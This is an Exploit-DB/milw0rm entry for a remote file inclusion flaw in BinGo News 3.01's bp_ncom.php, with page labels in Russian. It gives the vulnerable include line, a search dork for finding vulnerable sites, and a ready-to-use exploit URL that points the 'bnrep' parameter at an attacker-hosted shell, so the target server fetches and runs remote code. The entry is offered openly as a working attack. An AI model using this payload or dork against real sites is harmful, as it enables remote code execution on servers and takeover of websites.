Exploit BinGo News 3.01 - 'bnrep' Remote File Inclusion

[Exploiter]

EDB-ID

2312

Проверка EDB

1. Пройдено

Автор

SHIKAA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-4649 cve-2006-4648

Дата публикации

2006-09-06

#==============================================================================================
#BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://bingophp.free.fr/BinGoPHPnewslast_full.zip       
#                                                                       
#Version : v3.01                                             
#                                                         
#================================================================================================
#
#Dork : ""Script réalisé par BinGo PHP""
#
#================================================================================================
#Bug in : bp_ncom.php
#
#Vlu Code :
#--------------------------------
#      include $bnrep."bn_configs.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06]